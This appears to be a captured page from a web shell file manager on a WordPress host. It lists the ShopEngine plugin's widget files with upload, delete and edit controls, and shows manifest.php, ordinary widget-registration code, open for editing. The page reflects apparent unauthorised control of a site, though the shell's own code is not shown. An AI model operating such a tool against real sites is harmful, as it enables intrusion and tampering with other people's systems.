golden hour
/home/godaofbq/dev.hyperredbed.com/wp-content/plugins/shopengine/widgets
⬆️ Go Up
Upload
File/Folder
Size
Actions
add-to-cart
-
Del
OK
additional-information
-
Del
OK
advanced-search
-
Del
OK
archive-description
-
Del
OK
archive-products
-
Del
OK
archive-result-count
-
Del
OK
archive-title
-
Del
OK
archive-view-mode
-
Del
OK
breadcrumbs
-
Del
OK
cart-table
-
Del
OK
cart-totals
-
Del
OK
checkout-coupon-form
-
Del
OK
checkout-form-additional
-
Del
OK
checkout-form-billing
-
Del
OK
checkout-form-login
-
Del
OK
checkout-form-shipping
-
Del
OK
checkout-payment
-
Del
OK
checkout-review-order
-
Del
OK
checkout-shipping-methods
-
Del
OK
cross-sells
-
Del
OK
deal-products
-
Del
OK
empty-cart-message
-
Del
OK
filter-orderby
-
Del
OK
filter-products-per-page
-
Del
OK
filterable-product-list
-
Del
OK
init
-
Del
OK
lazy-cache.php
2.7 KB
Del
OK
manifest.php
3.08 KB
Del
OK
notice
-
Del
OK
prod-short-code.php
1.6 KB
Del
OK
product-categories
-
Del
OK
product-category-lists
-
Del
OK
product-description
-
Del
OK
product-excerpt
-
Del
OK
product-image
-
Del
OK
product-list
-
Del
OK
product-meta
-
Del
OK
product-price
-
Del
OK
product-rating
-
Del
OK
product-review
-
Del
OK
product-share
-
Del
OK
product-sku
-
Del
OK
product-stock
-
Del
OK
product-tabs
-
Del
OK
product-tags
-
Del
OK
product-title
-
Del
OK
products.php
6.42 KB
Del
OK
recently-viewed-products
-
Del
OK
related
-
Del
OK
return-to-shop
-
Del
OK
shop.php
9.14 KB
Del
OK
up-sells
-
Del
OK
view-single-product
-
Del
OK
widget-helper.php
7.99 KB
Del
OK
Edit: manifest.php
<?php namespace ShopEngine\Widgets; defined('ABSPATH') || exit; use ShopEngine\Core\Register\Widget_List; use ShopEngine\Widgets\Init\Enqueue_Scripts; use ShopEngine\Widgets\Init\Route; class Manifest{ private $widget_list; public function init() { new Enqueue_Scripts(); new Route(); $this->manifest_widgets(); add_action('elementor/elements/categories_registered', [$this, 'widget_categories']); add_action('elementor/widgets/register', [$this, 'register_widgets']); add_filter('woocommerce_default_address_fields', function($fields) { foreach ($fields as $key => $value) { unset($fields[$key]['priority']); } return $fields; }); } public function manifest_widgets() { foreach(Widget_List::instance()->get_list(true, 'active') as $widget) { if(isset($widget['path'])){ if(file_exists($widget['path'] . '/' . $widget['slug'] . '-config.php')){ require_once $widget['path'] . '/' . $widget['slug'] . '-config.php'; } } if(class_exists($widget['config_class'])){ $widget_config = new $widget['config_class'](); if($widget_config->custom_inline_css() !== false){ wp_add_inline_style( 'shopengine-elementor-style', $widget_config->custom_inline_css()); } if($widget_config->custom_inline_js() !== false){ wp_add_inline_script( 'shopengine-elementor-script', $widget_config->custom_inline_css()); } if($widget_config->custom_init() !== false){ add_action('init', [$widget_config, 'custom_init']); } } } } public function register_widgets() { foreach(Widget_List::instance()->get_list(true, 'active') as $widget) { if(isset($widget['path'])){ if(file_exists($widget['path'] . '/' . $widget['slug'] . '.php')){ require_once $widget['path'] . '/' . $widget['slug'] . '.php'; } } if(isset($widget['base_class']) && class_exists($widget['base_class'])){ \Elementor\Plugin::instance()->widgets_manager->register(new $widget['base_class']()); } } } public function widget_categories($elements_manager) { $elements_manager->add_category('shopengine-general', [ 'title' => esc_html__('ShopEngine General', 'shopengine'), 'icon' => 'fa fa-plug', ]); $elements_manager->add_category('shopengine-single', [ 'title' => esc_html__('ShopEngine Single Product', 'shopengine'), 'icon' => 'fa fa-plug', ]); $elements_manager->add_category('shopengine-cart', [ 'title' => esc_html__('ShopEngine Cart', 'shopengine'), 'icon' => 'fa fa-plug', ]); $elements_manager->add_category('shopengine-archive', [ 'title' => esc_html__('ShopEngine Product Archive', 'shopengine'), 'icon' => 'fa fa-plug', ]); $elements_manager->add_category('shopengine-checkout', [ 'title' => esc_html__('ShopEngine Checkout', 'shopengine'), 'icon' => 'fa fa-plug', ]); $elements_manager->add_category('shopengine-order', [ 'title' => esc_html__('ShopEngine Order', 'shopengine'), 'icon' => 'fa fa-plug', ]); $elements_manager->add_category('shopengine-my_account', [ 'title' => esc_html__('ShopEngine My Account', 'shopengine'), 'icon' => 'fa fa-plug', ]); } }
Save